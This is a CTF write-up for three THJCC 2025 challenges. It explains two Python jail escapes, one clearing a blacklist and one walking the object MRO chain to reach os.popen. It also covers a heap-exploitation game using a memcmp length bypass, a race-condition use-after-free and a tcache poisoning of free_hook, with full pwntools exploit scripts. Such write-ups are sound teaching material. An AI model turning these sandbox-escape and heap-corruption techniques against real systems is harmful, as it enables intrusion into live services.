THJCC 2025 Summer / Pyjail01, Pyjail02, MyGame writeups

Last updated on 2025-05-07 00:35:23 +08:00

Challenge source files are available on Github

Pyjail01

1
2
3
4
5
6
7
8
9
10
11
12
import unicodedata, string

_ = string.ascii_letters

while True:
inpt = unicodedata.normalize("NFKC", input("> "))

for i in inpt:
if i in _:
raise NameError("No ASCII letters!")

exec(inpt)

Variable _ is a string with all ascii letters and it is a blacklist.

The program uses unicodedata.normalize("NFKC", input("> ")), so user can not bypass blacklist by entering Unicode characters.

The program executes user’s input with exec(), which allows assign values to variables. And the program allows multiple inputs. So you can clear the blacklist with _="", then read the flag with print(__import__("os").popen("cat flag.txt").read()).

exploit

1
2
3
4
5
6
7
8
9
10
from pwn import *

r = remote("chal.ctf.scint.org", 19000)

r.sendlineafter(b">", b"_=\'\'")
r.sendlineafter(b">", b"print(__import__(\"os\").popen(\"cat /flag.txt\").read())")

print(r.recvline().decode()[1:])

r.close()

Pyjail02

1
2
3
4
5
import unicodedata

inpt = unicodedata.normalize("NFKC", input("> "))

print(eval(inpt, {"__builtins__":{}}, {}))

The program evaluates user’s input with eval(), but restricts access to bulit-in functions and global/local variables.

But you can access object via MRO chain, then get os._wrap_close from subclasses of object. Finally, you can call popen() and get shell.

exploit

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

r = remote("chal.ctf.scint.org", 19001)

_os_warp_idx = 141
payload = f"().__class__.__mro__[1].__subclasses__()[{_os_warp_idx}].__init__.__globals__['popen']('cat /flag.txt').read()"

r.sendlineafter(b">", payload.encode())

print(r.recvline().decode()[1:])

r.close()

MyGame

It is a multi-thread program. You can control two players(player01 and player02) to play the game.

VIP Player

It gives win function address as gift to all players. But only VIP players can get libc address and put chest on the map.

You can get VIP by playing lottery (go gambling). In func.h / lottery(), the game generates a random number and convert it to a string rnbuf. Then you can enter your number. It uses !memcmp(rnbuf, gubuf, strlen(gubuf)) to compare if rnbuf and player’s input gubuf are the same. If true, then the player can upgrade to VIP.

But it calls memcmp with the length of user’s input gubuf as n.This means if user inputs \x00, strlen(gubuf) will be 0, and memcmp will not work. The player can bypass the check and upgrade to vip easily.

We upgrade player01 to VIP in the step.

Dangling Pointer

With chest, you can put it on map, and put blocks into it.

Chest structure has a member itemlist, which is a FILO linked list. When a item is put into a chest, the game will create a new inchest structure, save the pointer of the item in inchest.item and push the inchest structure into itemlist of the chest.

chest

func.h / destory_block(). It will be called when a player chooses [3] Destory block in game menu. When a player destorys a chest, the game will (1) free the chest first, then (2) free all nodes in itemlist. Finally, it will (3) clear the pointer of the chest on map.

However, while it is performing step 2, there is a dangling poiner of the chest which is freed in step 1. If the chest has a huge number of blocks, it will take a long time (1s or longer) to free all of them. And you can control the other player (player02) to get_block() to get the “freed-chest” before it is cleared in step 3.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int destory_block(int client_sock, unsigned long usernow) {
int err;
// map selector
unsigned int x, y;
err = map_selector(client_sock, &x, &y);
if (err) return -1;
if (x < 0 || x >= MAP_SIZE_X || y < 0 || y >= MAP_SIZE_Y) {
send(client_sock, "Invalid position!\n", 19, 0);
return 0;
}
struct item *tmpit = map[y][x].item;
if (!tmpit) { // map unit / item on it
send(client_sock, "Nothing in the map unit which you selected.\n", 45, 0);
return 0;
}

// destory!!
if (tmpit->id == 1) { // normal block
free(tmpit);
map[y][x].item = NULL;
} else { // chest
if (tmpit->owner != usernow) { // chest owner protect
send(client_sock, "This box is not yours!\n", 24, 0);
return 0;
}
// remove items
struct inchest *now = tmpit->itemlist, *next = NULL;
free(tmpit);
while (1) {
if (!now) break;

next = now->next;

free(now->item);
free(now);

now = next;
}
// remove chest
map[y][x].item = NULL;
}

return 0;
}

get freed-chest

Win Function

With the freed-chest, you can perform Tcache attack.

Put it on the map, interact with it, and rename it.

In func.h / item_rename(), user’s input is copied to item->name as it’s new name.

1
2
3
4
5
6
7
8
9
10
11
int item_rename(int client_sock, struct item *item) {
send(client_sock, "Name > ", 8, 0);

unsigned char namebuf[8] = {0};
int err = recv(client_sock, namebuf, 8, 0);
if (err <= 0) return -1;
strncpy(item->name, namebuf, 8);

send(client_sock, "Done!\n", 7, 0);
return 0;
};

Because of item->name and tcache_entry->next are both placed at the same offset (0x0) and are 8 bytes in size, you can overwrite next of the freed-chest(chunk) with free_hook address by rename it.

struct.h

1
2
3
4
5
6
7
8
struct item {
// common attr
unsigned char name[8];
unsigned long id;
// chest attr
struct inchest *itemlist;
unsigned long owner;
};

Glibc source code

1
2
3
4
5
6
7
8
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;

func.h / put_block. A VIP player can put blocks on map whether or not there are enough blocks in backpack. The game allocates a new chunk of heap and turn it into a block.

So you can control player01 to put blocks on map until the game allocates a chunk(block) that is on free_hook, and we can write win function address to free_hook by renaming the block.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int put_block(int client_sock, unsigned long usernow) {
int err;
// map selector
unsigned int x, y;
err = map_selector(client_sock, &x, &y);
if (err) return -1;
if (x < 0 || x >= MAP_SIZE_X || y < 0 || y >= MAP_SIZE_Y) {
send(client_sock, "Invalid position!\n", 19, 0);
return 0;
}

if (userlist[usernow]->perm_vip == 1) { // vip
// block selector
int block = 0;
err = block_selector(client_sock, &block);
if (err) return -1;
if (block != 1 && block != 2) {
send(client_sock, "Invalid block!\n", 16, 0);
return 0;
}

// put
if (map[y][x].item) { // map unit / no item on it
send(client_sock, "The map unit which you selected is not clear.\n", 47, 0);
return 0;
}
map[y][x].item = malloc(sizeof(struct item));
map[y][x].item->id = block;
memset(map[y][x].item->name, 0, 8); // <- IMPORTANT
if (block == 2) {
map[y][x].item->owner = usernow; // chest owner protect
map[y][x].item->itemlist = NULL;
}
}
...

Now, destory a block, free() is called. Then we can get the flag.

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from pwn import *
import threading, time

HOST = "node2.dynchal.p23.tw"
PORT = 25850

sig = -1
libc = -1
win = -1

def lottery(r):
r.sendlineafter(b">", b"6")
r.sendafter(b">", b"\x00")

def putblock_vip(r, mapx, mapy, t):
r.sendlineafter(b">", b"1")
r.sendlineafter(b">", str(mapx).encode())
r.sendlineafter(b">", str(mapy).encode())
r.sendlineafter(b">", str(t).encode())

def server():
r = process("./chal")

def client01():
global sig, libc, win

#r = remote("0.0.0.0", 8080)
r = remote(HOST, PORT)

info("[Thread-1] Register and leak win function address")
win = int(r.recvline().decode().split(">")[1], 16)
success("[c1] win -> %s"%hex(win))

r.sendlineafter(b">", b"c01");

info("[Thread-1] Leak libc base")
lottery(r)
libc = int(r.recvlines(2)[1].decode().split(">")[1], 16) - 0x61c90
success("[c1] libc -> %s"%hex(libc))

info("[Thread-1] Put 10m blocks into chest")
putblock_vip(r, 0, 0, 2) # put a chest

# push 10m blocks into chest
r.sendlineafter(b">", b"4")
r.sendlineafter(b">", b"0")
r.sendlineafter(b">", b"0")
r.sendlineafter(b">", b"2")
r.sendlineafter(b">", b"10000000")

# new block and destory it
putblock_vip(r, 1, 0, 1)
r.sendlineafter(b">", b"3")
r.sendlineafter(b">", b"1")
r.sendlineafter(b">", b"0")

info("[Thread-1] Destory chest")
# destory block
r.sendlineafter(b">", b"3")
r.sendlineafter(b">", b"0")
r.sendlineafter(b">", b"0")

sig = 1 # client2 to get ref

while not (sig == 2): pass
info("[Thread-1] Write win function address to free_hook")
for i in range(7):
putblock_vip(r, i, 2, 1)
# write free_hook
r.sendlineafter(b">", b"4")
r.sendlineafter(b">", b"6")
r.sendlineafter(b">", b"2")
r.sendlineafter(b">", b"1")
r.sendlineafter(b">", p64(win))
time.sleep(1)

sig = 3

info("[Thread-1] Good bye")
r.close()

def client02():
global sig

#r = remote("0.0.0.0", 8080)
r = remote(HOST, PORT)

r.recvline()
r.sendlineafter(b">", b"c02")

while not (sig == 1): pass

# get chest
info("[Thread-2] Get chest dangling pointer")
r.sendlineafter(b">", b"2") # choice
r.sendlineafter(b">", b"0") # x
r.sendlineafter(b">", b"0") # y
r.sendlineafter(b">", b"1") # backpack slot

time.sleep(20)

# put it into map
info("[Thread-2] Get a chunk on free_hook")
r.sendlineafter(b">", b"1") # choice
r.sendlineafter(b">", b"0") # x
r.sendlineafter(b">", b"0") # y
r.sendlineafter(b">", b"1") # backpack slot

# rename
r.sendlineafter(b">", b"4")
r.sendlineafter(b">", b"0")
r.sendlineafter(b">", b"0")
r.sendlineafter(b">", b"1")
freehook = libc + 0x1eee48
r.sendafter(b">", p64(freehook))

sig = 2
while not (sig == 3): pass

info("[Thread-2] Win")

r.sendlineafter(b">", b"3")
r.sendlineafter(b">", b"0")
r.sendlineafter(b">", b"2")

r.interactive()

#threading.Thread(target=server).start()
threading.Thread(target=client01).start()
threading.Thread(target=client02).start()